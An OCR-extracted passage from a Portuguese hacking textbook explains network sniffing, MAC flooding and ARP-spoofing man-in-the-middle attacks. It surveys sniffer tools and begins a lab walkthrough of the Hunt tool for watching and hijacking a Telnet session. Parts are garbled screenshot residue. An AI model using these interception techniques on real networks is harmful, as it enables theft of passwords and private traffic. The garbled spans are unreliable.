elas quando aplicvel. Um sniffer colocado num gateway pode escutar, ento, o
trfego de todas elas.

Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna
Internet, o que o invasor tem disposio tanto seu conjunto potencial de
senhas e informaes confidenciais quanto os e-mails, senhas, informaes e
cartes de crdito que entram e saem de sua empresa. Imagine, num cenrio
ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que
liga sua empresa ao seu site de comrcio eletrnico, ou operadora de cartes
de crdito, ou a seu parceiro, ou ao banco. Fatal!
A primeira providncia quando se vai farejar uma rede colocar a interface
de rede de alguma mquina em modo promscuo. Como vimos nos captulos
Redes I e 11,quando um pacote IP chega em uma rede, a interface que detm o
pacote pergunta: "qual o MACAddress que contm o endereo IP desse pacote"? A mquina destino responde com seu MACAddress e o pacote enviado a
ela. Esse o conhecido protocolo ARP.
"Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiroso (ou, como dizia um pastor luterano que conheci, um "exagero da verdade"). O pacote , na verdade, jogado no barramento e todas as interfaces podem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote,
caso este no seja direcionado a elas. Apenas a mquina a que realmente se
destina "presta ateno" ao que est trafegando na rede. As outras simplesmente ignoram-no.
aqui que entra o "modo promscuo". Uma interface configurada dessa forma
"ouve"TODOSos pacotes que trafegam na rede, e no apenas os que so destinados
I

]Ataque,

defesa e contra-ataque:

271

Invaso

I Universidade H4CK3R I

a ela. Se isso um facilitador para a implementao de ferramentas de monitorao


de rede - coisaque todo administradorcompetente deveriausar - tambmpossibilita que algum com ms intenes facilmente escute o que no devia.
Para colocar uma interface de rede em modo promscuo, deve-se ter acesso
privilegiado ao sistema operacional - o que equivale a dizer root em um sistema Unix, Administrator em um sistema WinNT ou Admin em um Novell
Netware. Por isso mesmo, tomar completamente pelo menos uma mquina na
rede (como vimos anteriormente) imperativo para que possamos fazer uma
"colheita" posterior. H diversas formas de colocar uma interface de rede em
modo promscuo. H programas especiais para isso em qualquer plataforma e
mesmo alguns truques no sistema operacional (seja ele Windows, Novell, HPUX...) so possveis sem o auxlio de qualquer programa externo.
Todo sistema operacional possui uma ferramenta qualquer que mostra o
estado e altera as configuraes da placa de rede. Tomando como exemplo um
sistema GNUlLinux, o comando que faz esse trabalho para ns o ifconfig.
Emitido (como root) sem argumentos, o comando mostra o estado de todas as
interfaces de rede. Emitido seguido do nome de uma interface, d o estado
atual dessa interface. Por exemplo, para saber a quantas anda a primeira
interface de rede (ethO), o comando seria:
# ifconfig

ethO

o resultado seria:
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95
inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O
co1ises:0
RX bytes:3163776 (3.0 Mb)

TX bytes:994079 (970.7 Kb)

Observe as informaes mostradas. Voc sabe, por meio desse comando, que
o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o
MAC 00-08-74-B5-64-95,que o endereo de rede 192.168.1.11, que o tamanho mximo do pacote Ethernet (MTU) de 1.500 bytes, etc... H tambm
alguns flags que indicam se a interface est pronta ou "em p" (DP), se est
rodando (RUNNING) e se responde a broadcast ou multicast. Agora vejamos o
que acontece com o comando abaixo:
# ifconfig ethO promisc

Aparentemente, nada acontece. O shell nos devolve o prompt e nenhuma


mensagem de erro ou de tarefa conlcuda mostrada. Mas, se emitirmos novamente o comando ifconfig ethO, o resultado seria um pouco diferente:

12721
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95


inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O colises:O
RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)

Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC).
Absolutamente TUDO o que est trafegando na rede interpretado pela pilha
TCP/lP do kemel e pode, portanto, ser monitorado. Isso inclui pacotes no
direcionados a essa mquina.

Sniffing passivo
As redes locais normalmente se utilizam de equipamentos chamados hubs (captulos
Redes I e lI) para facilitar e
flexibilizar a conexo de novas mquinas a uma rede existente. O hub age ainda como
um elemento regenerador do
sinal eltrico presente no
barramento de rede. Mas o
hub um elemento passivo
no tocante a controle do trfego na rede local.
Hubs e repetidores so
equipamentos
que trabalham na camada 1 do modelo OSI, portanto no tm controle algum sobre o quadro Ethemet (ou qualquer outro protocolo de camada 2 como Token Ring, PPp, Frame Relay ou
X.25). Isso significa que uma mensagem enviada de uma mquina para a outra ser ouvida por todas na rede.
fcil perceber, no desenho acima, que se a mquina A enviar uma mensagem para a C, as estaes B, D e H ainda estaro "ouvindo". Portanto, apesar
da aparncia de estrela, uma rede que se utilize de um hub para interligar
as mquinas , na realidade, um barramento.
Conclumos que muito fcil para um sniffer registrar e decodificar tudo
o que trafega nessa rede. Como trabalha com interfaces em modo promscuo, todos os pacotes da rede podem ser interpretados. Mas e se a rede
estiver segmentada com bridges ou switches?

1273 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

No captulo 2 (Redes I) vimos en passant a descrio desses equipamentos.


Uma bridge divide a rede em dois segmentos e bloqueia trfego no destinado
cada um deles.

'X

XI Bridge
/t:::
/t:::

Bloqueadopela Bridge

Observe: as mquinas A e B esto no segmento 1, enquanto C e D no segmento 2. Isolando os dois, uma bridge. O trfego de A para B e de B para A fica
restrito ao segmento 1, e o trfego de C para D e de D para C fica restrito ao
segmento 2. A bridge bloqueia o trfego local, no deixando que mensagens
no endereadas a um barramento em especial cheguem nele.

Bridge
Deixapassar

Entretanto, se a mquina C quer enviar uma mensagem para a mquina A, a


bridge deixa passar o pacote.

12741
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

A determinao de quais pacotes devem passar e quais devem ser bloqueados dinmica, baseada nos endereos MAC
das interfaces de rede. No momento que uma bridge ligada,
ela no tem nada na memria.
medida que as estaes vo
enviando pacotes para a rede, a
bridge guarda os MACAdresses
numa tabela, relacionando-os

~~

---

~
..

. .

com
o segmento
de onde
pa~~.
cote se
originou. Note
que otudo
se passa na camada 2 do modelo OSI:a bridge s tem conhecimento das mquinas
ligadas diretamente em sua rede local.
Imagine, agora, um hub que possusse uma bridge em cada porta. Cada mquina
da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se chama comutador ou switch.Observe: assim como em nosso primeiro exemplo, a estaoA quer enviar uma mensagem para a estao B.Devido ao switch, nenhuma das
outras mquinas ir escutar o que A tem a dizer.Alm disso, C poderia falar com E
simultaneamente, pois a rede est, para elas, ociosa.
Uma rede com um switch no lugar de um hub, alm do controle e diminuio
do trfego, tambm ofereceria uma segurana adicional rede, uma vez que
um sniffer instalado, por exemplo, em D no poderia escutar nada das conversas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o
problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no...

Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MAC addresses que
"ouviu" na rede com as portas ou segmentos nos quais foram "ouvidos". Como
preenchida dinamicamente, essa tabela ser atualizada toda vez que uma
nova mquina for conectada rede.
Como dizia um parente meu (ilustre, mas iletrado), "tudo o que demais em
demazia" (sic). A memria do switch possui um tamanho limitado, portanto um
nmero muito grande de interfaces de rede ligadas em cada uma das portas poderia, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes
desses equipamentos as dimensionam para que esse limite nunca seja atingido.
O problema que um quadro Ethemet nada mais do que uma seqncia de uns
e zeros que pode, por isso mesmo, ser manipulada. Um programa cuidadosamente
escrito poderia gerar, ad infinitum, frames Ethemet com MAC adresses aleatrios
e, em alguns minutos, preencher completamente a memria do switch. Como o
show no pode parar, esses equipamentos podem comear a repassar mensagens
indiscriminadamente para todas as portas. Essatcnica chamada de MACFlooding.

1275 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Uma vez nessa situao, qualquer sniffer poder farejar a


rede. H ferramentas que fazem
isso (uma delas, escrita em PerI,
pode
ser encontrada
www.safenetworks.com/

em

Others/~com4.html),
mas os
sniffers mais modernos (como
o ettercap e o dsniff)
todo o trabalho.
Felizmente

j fazem

(ou infelizmente,

dependendo dos intentos do estimado leitor), alguns swii:ches


so imunes ao MAC Flooding.
H vrias maneiras de implementar switches assim. Podem ser usados algoritmos
de proteo que impedem que a memria seja completamente
preenchida. Ou
ento um sistema de deteco de flood, baseado em padres de dados e um
knlowledge
base dos sniffers conhecidos.
Uma terceira maneira seria adotar
uma poltica de persistncia, mantendo MACs conhecidos h mais tempo em
detrimento
de novas interfaces, caso a memria lote.
Para contornar esse inconveniente, os hackers desenvolveram uma tcnica chamada ARP Spoofing. uma tcnica um pouco mais complicada, mas muito inteligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confundir o computador cujo trfego se deseja "esnifar" manipulando sua tabela ARP.
O ARP, como discutido anteriormente,
um mecanismo de traduo IP-paraMAC. A mquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP
tal"? Todas as mquinas

daquele

interface que possui aquele


IP responde:

MAC

"Sou eu, meu


:XXXXXX". A partir

segmento

ouvem

IP=10.0.0.1
MAC=xx.xx.xx

a pergunta,

mas apenas a

IP= 1 O.O.OA
MAC=ww.ww.ww

disso, a interface de origem


monta um quadro Ethernet
e o envia ao destino. O ARP
Configura

Spoofmg uma maneira de


enganar a mquina da vtima, fazendo-a acreditar que
o endereo MAC da mquina onde o sniffer
est

CD

corresponde ao endereo IP
da mquina-destino original.
Complicado? Sim, . Vamos
tentar exemplificar:

Snilfer Ativo: preparao

12761
Ataque, defesa e contra-ataque:

Invaso

para reenviar a B
tudo que chega

Universidade 3ano

No diagrama mostrado, a estao A quer falar com a estao B.A partir da


estao H, um hacker quer farejar a comunicao entre A e B. Para isso,
necessrio uma preparao prvia. A primeira coisa que o hacker deve fazer
configurar seu sistema operacional de H para repassar todo e qualquer
trfego que chegue para si, vindo de A, para a verdadeira mquina destino,
que B. A configurao do IP forwarding normalmente feita pelo prrpio
sniffer, mas possvel que em alguns casos seja necessrio faz-Io manualmente. Tanto Windows quanto Netware e tambm qualquer Unix permitem
esse tipo de redirecionamento. Lembra-se daquele mapa da rede, feito com
ping+traceroute (ou com o Cheops)? Ele ser muito til agora.
O segundo passo enganar a mquina A, fazendo-a acreditar que o IP de B
possui o MACde H. Isso conseguido fazendo H enviar um nmero monstruoso
de respostas ARP para A, informando que o IP de B possui o MACde H - respostas essas que sequer foram solicitadas. Depois de um certo tempo, A "pensa" que, para mandar
mensagens para o IP de B, tem
que construir quadros Ethemet
direcionados ao MACde H.
Agora s ativar seu sniffer
preferido e esperar. O trfego
vindo de A em direo a B vai
passar por H antes. Nem A nem
B vo desconfiar disso, pois, para
eles, a comunicao apenas entre os dois. Esse tipo de configuSniffer Ativo: ao!
rao de ataque normalmente
chamado de "man in the middle".

Escolhendo seu sabujo


H um nmero gigantesco de ferramentas de sniffing que podem ser usadas
em diversas plataformas. Eis alguns:
~ tcpdump (www.tcpdump.org). a ferramenta nativa de monitoramento
de rede de qualquer Unix. J vimos o funcionamento do tcpdump no captulo
Redes lI. Colocando a placa de rede em modo promscuo (por exemplo, com
ifconfig no Linux) e rodando o tcpdump, tem-se o mais bsico possvel (mas
no por isso menos eficiente) sniffer de rede para Unix. A vantagem de se
usar o tcpdump que todos os Unices j o possuem - o invasor no precisa
instalar nada, s rodar o programa e direcionar a sada para um arquivo. O
comando seria:

12771

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

# tcpdump

[opes]

> arquivo. de. sada

Uma verso do tcpdump para Windows pode ser encontrada em


windump. polito.it.
JPTraf
TCPConnections (SOU''C8Host :Por.t) r-I--65-71-187-100.dsl.d<C\P<...:358E
mflj-bocd..ozmo.mo,1214

P"ckets B~tes F1""s


>
844
>
511 1263J48
26374 --A--A>
651
962504
>
465
21816 --A--A-

[68.10.252.64.sret.oot,3676
mflj-bocd..ozmo.mo,1214
rlXPOl238"108pcs.
frsrc101..i.moca,1214
mflj-bocd..ozmo.mo'l176
[ool"18ba()fc2.~."'tmlire.net'l~
208.100.255.153,2019

>>
>
>

515
390
316
225

~32
18006 --A--A4n352
--A1=
--A-

e16.49.88.~00:www
61.9.18.19.1298

47
199

1246
878 -PA-PA-

pcO:H>acd..ozmo.mo'3329

rserver13.icinternet.coo:www
TCP:
189entr'ies

Ib1-IP (M)

(162 ~)

~~~(JIT~f'f:'

H}f' echo rply (84 ~)

frn-IP (M)
,,~IP

(M)

(13O~)
(~-~)

fmo ~4

193

11885 --A292671 -A-

ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO

fk:tive

to 0180c200000000 ethO

(~T:Er~~~~~~:~f~~f~'i

w1.scd.yaIuo.moto rikEr.'ozcuo.mo (src -

fmo ~
fmo ~

Face
ethO
ethO

to 01~

on elliJ .

to 018Oc2Ooo0ooon elliJ . ,

~ IPTraf (iptraf.seul.org ), O
av de todos os sniffers Unix,
ainda pode ser efetivamente
usado
em uma sesso de
sniffing. Apesar de sua idade,
recursos
poderosos.
J Vale a pena dar uma conferida.
Uma de suas vantagens que,
comum
I como o tcpdump,
'
encontr-Io j instalado - pou!
pando trabalho, recursos e no
levantando suspeitas.

I possui

~ Ethereal (www.ethereal.com). um sniffer poderoso, que suporta vrios


protocolos, marca-os com cores diferentes e interpreta seus significados. Possui uma interface grfica muitssimo amigvel. mais usada por administradores, mas til tambm para crackers malintencionados.
Disponvel para
Windows e Unix. Os autores recomendam.

ff:ff: ff: ff: ff: ff


bam.zing.or"
192.168.0.1
bam.zing.org
slashdot.org
b"nqing.arg
slashdot.org
slashdot.org
bam.zing.org
11
12
13
14
15

0.29"019
0.294194
0.298fi41
0.370983
0.372207

bam.zing.org
slashdot.org
bam.zing.or9
slashdot.org
slashdet.erg
,:"~",i~MM

51 ashdot.org
bam.zing.org
slashdot.org
bam.zing.erg
bam. zing. org
d25.hoo"or"

TCP
HTTP
TCP
HTTP
HTTP
Ten

Who has 192.1&8.0.1?


Tel1 192.168.0.2
192.168.0.115
at OO:eO:29:68:8b:fb
Standard
query A 51 ashdot. org
Standard
query rasponse
A 64.28.67.150
2741 > 'li"'! [SVN] Seq~195095a524 Ak=O Win-321
'li"'! > 2741 [SVN, ACK] Seq-1976068085
Ack-1950
2741 > 'li"'! (ACK] Seq-1950958525
Ack-197G680E
GET / Hm/1.1
'li"'! > 2741 IACK] Seq-1976068086 Ack-19509591E
GUJIfJi"-"'."
2741 > 'li"'! [ACKJ Seq-1950959165 Ack=19760695,
Conti nuati on
274.1 > 'li"'! [ACK] Seq-1 9509591 65 Ack-197607098
Conti nuati on
Conti nua,ti on

ltI Frame10 (1514on wire. 1514<aptured)


ltI Ethe rnet II
ItIInternet Pretocol. Src Addr: slashdot.org (64.28.67.150). Ost Addr: bam.zing.org (192.168.0.2)
HlTran5mission Control Protocolo Src Porto 'li"'! (80), Ost Porto 2741 (2741). Seq: 1976068086. Ack: 1950959165.
S Hypertext Trahsfer protocol
HTTP/1.1 200 OK\r\n
Date: Wed, 02 ]an 2002 00: 52: 37 GI>If\r\n
Server: Apache/1.3.20 (Unix) mod_per1/1. 25 mod_gzip/1. 3.1 9.1 a\r\n
X-Power.d~By: Slash 2.003000\r\n
X-Bender: In the event ef ao emergency. my a5S <an be used as a flotation device. \r\n

2781
Ataque, defesa e contra-ataque:

Invaso

Len:

Universidade 3ano

O"""",,,

7'",,,",,

""""
"'",,,,,

""""",,,,,,,,,,,
'M'","n,'"
""'m Ci,]d,0,"0com
"',','""","
",""fi""",O,OO63

,,,"'",
",,,.",,ff,,",
,,~,,1i..,
6<
'''''''',m(O""
""',, ,h,,'"~,,,,,, ("n,U)
",,"".'.1."'''.1.1.05)
""",,,,", b,""h'",.'~("o.","',
V'''"~''''''''"ff''
"",,,1.,,, "ci, '"'" (,
5o"",,,,,,",",,",",
'>1'''''00,,,,,_(60)
""'"" o"," ,,"'''s
""""',d,,,,,o' ,..o", m'580121
""',, ,.."h' "'"''

"_'d,>,,''''oo'
".TE",.'~.". "" MO".01, " , h_,
,,,,,,,'..',
"_'1,,,",,,,' ,wn:""''"~'" """,. jp'''. '00.""". ""d,.
R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim' '"'"'''''''
;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE'
:;"'''''mm,'
mor,'",o""oo'""~.,,,o",W "'"'.''''",,",0' AU",-""'",""',

"""...,,,"" ",,,,..,,,

::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i,
'11i:;::j,h,;i"",h''''"O'tl''''k>lO",
"~'I"",,'" ><"OC,,"~'"o."""""'"0
~"''""'''",... ,,,,,,,,,,,,,..,, "'",,,... """,-0>
"'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''<k/Th'',"",h10''""'''''",',I",",,.'"~,I'

P "..
0,00'" U'C<'
Wiooo",""
3"6<

o Ethereal pode, inclusive, decodificar e extrair informaes a partir de um


determinado protocolo. No exemplo acima, uma pgina HTMLfoi decodificada
de dentro de uma srie de pacotes TCP:
~ Sniff'em (www.sniff-em.com). um sniffer comercial para Windows. Faz
sozinho tudo o que o Ethereal, o Ettercap, o Snort e o Dsniff fazem juntos, mas
pago. Na opinio dos autores, no vale a pena pagar para ter algo que pode
ser obtido gratuitamente com ferramentas menores, mas usurios de Windows
gostam de ter tudo integrado num nico programa. Um dos diferencias do
Sniff'em sua capacidade de monitorar interfaces no-usuais como sadas seriais,
USB e modems RAS e RDSIIISDN.
~ Snort (www.snort.org) um detector de intrusos (IDS) que serve tambm como sniffer. muito conhecido por analisar de forma perfeita os logs do
Squid. Tem a seu favor, alm de sua coleo de truques, uma vasta lista de plataformas na qual roda, incluindo a Linux, Solaris, *BSD,HP-UX,IRIX, MacOS X,
AIX e Windows.
~ Sniffit (reptile.rug.ac.be/-coder/sniffit/sniffit.html)
trabalha exclusivamente em Unix, mas venerado pela comunidade por suas capacidades de sniffing
quase esotricas. Possui dois modos de operao. O tradicional (sniff mode)
faz o que qualquer sniffer faz: grava todo o trfego da rede. Um segundo modo,
chamado de interativo, permite que o hacker veja o que est trafegando na
rede em tempo real. possvel escolher apenas um protocolo para monitorar,
e existem ftltros que escondem toda a complexidade inerente dos protocolos,
mostrando apenas os dados teis. Com o sniffit, possvel inclusive ver o que a
vtima est digitando em um programa de mensagens instantneas como o
MSN Messenger ou o ICQ - tudo isso em tempo real!
1279

]Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

~ Hafiye (www.enderunix.org/hafiye) um sniffer baseado em knowledge-base.


Possui um banco de dados com padres dos mais diversos protocolos de comunicao e criptografia e capaz de separar os dados teis de dentro de um pacote.
~ Kismet (www.kismetwire1ess.net)
um farejador de redes wire1ess
(802.11) nos moldes do IPTraf e tcpdump.Alm de ser capaz de decodificar os
protocolos pertinentes, consegue dividir as redes por rea e por clula de rdio. Desenvolvido especialmente para Linux, suporta nativamente o PDAZaurus,
da Sharp, com placa de rede wireless. Uma boa pedida para War Driving.
~ USB Snoop (sourceforge.net/pro;ects/usbsnoop)
monitora e grava todo
o trfego entre o driver do dispositivo USB e o prprio dispositivo. til para
engenharia reversa de drivers (para, por exemplo, produzir um driver Open
Source), mas tambm pode ser usado para monitorar o trfego de modems
USB.Uma rede criptografada e superprotegida pode ser "descadeirada" se um
laptop for ligado a um computador de mesa ligado a ela pelo USB.
~ APS- AdvancedPacket Sniffer(wwws-wrtec.de/clinux) outro exemplo de programa minsculo que pode ser usado para farejar pacotes. Como extremamente
dependente do kemel, funciona apenas em linux, mas sua interface simples e intuitiva
em modo texto permite sua operao remota sem sobrecarregar a conexo.
~ Hunt (lin.fsid.cvut.cz/-kra/index.html)
no apenas um sniffer, mas uma
ferramenta completa de explorao de falhas na pilha TCP/lp. Suporta tudo o
que um sniffer deve ser capaz de oferecer: vigiar diversos tipos de protocolos
(ICMp,TCp, ARP), montar mensagens fragmentadas a partir de pacotes TCP
seqenciais, detectar ACK Storms, seqestrar sesses (hijacking) e "aprender"
os MACs da rede, entre muitos outros truques. Por ser muito didtico, o preferido dos professores de cursos de redes e segurana - foi, inclusive, desenvolvido por um professor de matemtica da Universidade de Praga, Pavel Krauz.
Com o Hunt, podemos facilmente colocar-nos como man in the midd1e numa
conexo, registrar tudo o que estiver sendo transmitido, manipular os dados e
at mesmo termin-Ia (reset).
~ ettercap (ettercap.
sourceforge.net)
um
excelente sniffer ativo,
ou seja, especial para
ser usado em redes com
switches. Suporta MAC
Flood e ARP SpOOflllge
extremamente fcil de
usar. Como funciona em
modo texto, fica facilmente operacional em
qualquer mquina Unix
e extremamente pequeno. Atacar com o
280

Ataque, defesa e contra-ataque:

Invaso [

Universidade 3ano

ettercap brincadeira de criana: primeiro, escolhe-se a dupla de mquinas


que se quer monitorar as comunicaes.
Escolhe-se, entre as conexes
TCP ou UDP estabelecidas (pode
haver mais de uma), qual a que
se quer monitorar. Depois disso,
a tela mostra os dados que trafegam entre as duas mquinas.
Pode-se grav-Ios, examin-Ios em
modo ASCII ou hexadecimal ou
injetar caracteres na trasmisso
(e assim manipular a conexo).
H plugins e novos mtodos de
sniffing com nomes sugestivos,
como Port Stealing, Hunt, Confusion... As possibilidades- so enormes!
~ Angst (angst.sourceforge.net), desenvolvido e testado para o OpenBSD,
uma ferramenta que tem a seu favor a robustez e o tamanho diminuto - alm
de fazer sniffing ativo. Possui menos recursos que seus primos mais ilustres
como o ettercap e o dsniff, mas pequeno o bastante para passar despercebido em uma mquina invadida. Funciona tambm com FreeBSD e Slackware
Linux, outras plataformas Unix requerem recompilao e testes.
~ Dsniff (www.monkey.org/-dugsong/dsniff)
, na atualidade, o mais respeitado sniffer ativo para redes comutadas. Foi testado pelos autores em
OpenBSD e Linux em PCs e Solaris em mquinas SunSPARC,mas j foi testado
em praticamente todos os sabores Unix conhecidos, entre eles AlX, FreeBSD,
HP-UX e at Mac OS X (blafasel.org/-floh/ports/dsniff-2.3.osx.tgz).
H ainda
uma verso (desatualizada mas funcional) para Windows, disponvel em
www.datanerds.net/- mike/ dsniff.html.
Apesar dos sniffers mais simples serem mais fceis de "plantar" e usar, h outros,
mais elaborados, que so verdadeiras obras-de-artedo mal. O tcpdump sozinho em
uma mquina Unix j poderia fazer muito estrago, e tem a vantagem de j estar
instalado. Por outro lado, mquinas Wm9x permitem que um invasor "esnife"a rede
(usando, por exemplo, o Wmdump ou o Ethereal) sem invadir mquinas muito complicadas ou seguras. Como qualquer usurio de Wm9x tem controle total sobre a
mquina, possvel rodar um sniffer nela sem precisar quebrar nenhuma senha de
administrador.A insegurana inerente a essa arquitetura auxilia o inimigo. Qualquer
servidor ou estao, sejam eles Unices, Macintoshes, Netwares ou Wmdows NT/2kj
XP,pode ser um perigo se mal configurados.Entretanto, redes com estaes Wmdows
95/98/Me nunca sero seguras, qualquer que seja o esforo dispendido nelas.
Para mais opes, procure por "sniff" no Fresmeat (www.freshmeat.net) ou
no Goog1e (www.goog1e.com). O download.com tambm possui diversas opes para Windows, e os CDs do livro tambm trazem mais alguns deles. Uma
ltima dica sobre sniffers (e outras ferramentas): pedram.redhive.com.
1281
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Farejando na prtica
Nada como uma sesso de sniffmg para fIxar os conceitos aprendidos. Poderamos exemplificar esse procedimento com um sniffer grfico como o Ethereal,
que possui uma verso para Windows e uma bela interface de comando. O Ethereal
ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo
possvel do "trabalho sujo" e deixar ao administrador de rede apenas com as
informaes teis, "mastigadas". Mas lembre-se: se voc est explorando uma
rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois
recuperar o arquivo contendo o trfego. A interface grfica, os "frufrus" e a inteligncia do Ethereal de nada adiantaro nesse ambiente.
Antes de comear nosso estudo, dois lembretes. Em primeiro lugar, observe que
sua conexo domstica Internet provavelmente se d por um protocolo de camada
2 chamado de PPP ou Point-to-PointProtocol. Como o nome j diz, um protocolo
ponto a ponto: sua rede local possui apenas duas intetfaces, a de sua mquina e a do
modem do provedor de acesso.Justamente devido ao PPp,voc no poder farejar o
trfego na subrede de Internet qual voc est (aparentemente) conectado. Em uma
ligao empresarial - normalmente por linha privada usando Frame Re1ayou X.25
e no PPP - possvel (embora no muito provvel devido a ftrewalls e roteadores)
que a subrede da Internet determinada para a empresa possa ser farejada. De qualquer forma, um sniffer til apenas em estruturas de conectividade internas, onde h
verdadeiramente vrias mquinas trafegando informaes na mesma rede local.
O outro lembrete no menos importante. Existem trs condies bsicas
para se poder "esnifar" a rede:
1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar
mais a sua, que monitorar as outras duas).
2. Possuir acesso de superusurio (root para Unix e Mac OS X ou Administrador para WinNT/2k!XP - mquinas com Win9x no precisam de nada disso...)
na mquina que fIcar em modo promscuo e farejar a rede.
3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede
para tal. No condio impeditiva para iniciar o sniffIng, mas tico. Todos
tm direito, garantido por lei, privacidade. Se sua empresa possui uma poltica de monitorao de trfego, esta deve ser informada aos funcionrios.
Isso posto, vamos ao que interessa. Em nosso primeiro estudo, usaremos o
Hunt. O programa possui uma interface com o usurio em modo texto que,
apesar de singela, muito funcional. No vamos entrar em detalhes sobre a instalao do programa - h intrues para isso na documentao que o acompanha.
Em nossa rede de testes (Laboratrio de Redes 11),instale o Hunt na mquina
Unix. Ela ser nossa mquina "haxor". Vamos monitorar uma conexo entre a
mquina Windows e a mquina "coitada". Para que possamos acompanhar melhor a conexo, vamos abrir uma sesso de Telnet, que um protocolo interativo
e que funciona em texto simples - perfeita para ser monitorada
plicidade e baixa velocidade. Observe:

12821
Ataque, defesae contra-ataque: Invaso [

pela sua sim-

Universidade 3ano

Unix
Hunt

Windows

Coitada
Telnetd

Telnet

192.168.1.3

Na Coitada (192.168.1.2) estamos rodando run servidor de Telnet (no esquea


de ativ-Io!).Na mquina Unix, execute o Hunt. Ser mostrada runa tela como esta:
/*
*

*
*

hunt 1. 5
mu1tipurpose connection intruder / sniffer for Linux
(c) 1998-2000 by kra

*/
starting hunt
- Main Menu - rcvpkt O, free/a11oc 63/64 --l/w/r) 1ist/watch/reset connections
u)
host up tests
a)
arp/simp1e hijack (avoids ack storm if arp used)
s)
simp1e hijack
d)
daemons rst/arp/sniff/mac
o)
options
x)
exit
->

o smbolo -> O prompt do Hunt. Observe o menu. H rotinas para listar,


observar e derrubar conexes, verificar servidores online, faze hijacking etc.
Temos que configurar o Hunt para que passe a escutar nossa rede. Observe: as
opes l/w/r, respectivamente, listam todas as conexes ativas, vigiam uma
delas e interrompem-na (reset). Para que funcionem, necessrio que haja alguma conexo ativa.
Escolha a opo "o" (options) e pressione a tecla Enter. Um novo menu ser
apresentado:;
-> o
- options - rcvpkt 723, free/a11oc 63/64 --1) 1ist add conn po1icy
a/m/d) add/mod/de1 conn po1icy entry
c) conn 1ist properties
mac n, seq n
g) suggest mac base
EA:1A:DE:AD:BE:00
h) host reso1ving
n
t) arp req spoof through req

y
1283

Ataque, defesa e contra-ataque:

Invaso

Universidade H4CK3R

4s
2s
2
O
y

r) reset ACK storm timeout


s) simple hijack cmd timeout
q) arp req/rep packets
p) number of lines per page
i) print cntrl chars
x) return
-opt>
So

inmeras

opes. Por enquanto, vamos

a/m/d manipulam
Basicamente,

w)
y)
e)
v)

o que chamado,

uma

quais conexes

numa

regra de conexo

queremos

y
n
n
n

switched environment
arp spoof with my mac
learn MAC from IP traffic
verbose

nos ater s mais bsicas.As opes

traduo livre,de regras de conexo.

a maneira

monitorar. Vamos

pela qual dizemos

adicionar uma

ao Hunt

regra (opo "a").

-opt> a
src ip addr/mask ports [0.0.0.010]>
o programa

pede o endereo

IP e a mscara

de rede da interface de origem

(src)que queremos monitorar.No nosso caso,a interfacede origem aquela


que vai fazer conexo
mquina

Windows.

com

um

Lembrando

servidor telnet,portanto colocaremos


do que aprendemos

dizer "todos". Portanto, colocar um


que todas as mquinas

com

zero em

em

a o IP da

Redes 11,O (zero) quer

qualquer lugar do endereo

indica

aquele prefIxo sero monitoradas. Por exemplo,

se

eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa mquina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt
cotes de todas as mquinas
192.168.1.254. Num

farejariaos pa-

da rede 192.168.1.0, ou seja,entre 192.168.1.1 e

caso extremo,

colocar 0.0.0.0/0 seria o mesmo

que dizer

ao programa: "Vasculhe TUDO!"

De maneira similar, preencha o endereo de destino. A prxima pergunta


(insert at) simplesmente para defInir em que posio da lista nossa regra
aparecer.
A opo "1"lista as regras de conexo existentes. Em nosso caso, teramos:
-opt> 1

O) 0.0.0.010 [alI]
1) 192.168.1.1/32 [alI]
-opes do menu-*opt>

<->

O. O . O . O 1 O

[23

<-> 192.168.1.'2/32

513]

[alI]

Observe que temos um asterisco no prompt. O Hunt est nos indicando que
as mquinas esto "vivas" na rede. Para sair do modo opes, usa a opo "x".
De volta tela inicial, temos a opo de listar ("1") as conexes ativas~ Experimente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.

:841
Ataque, defesa e contra-ataque:

Invaso r

Universidade 3ano

Na estao Windows (192.168.1.1) vamos fazer uma conexo de Telnet para


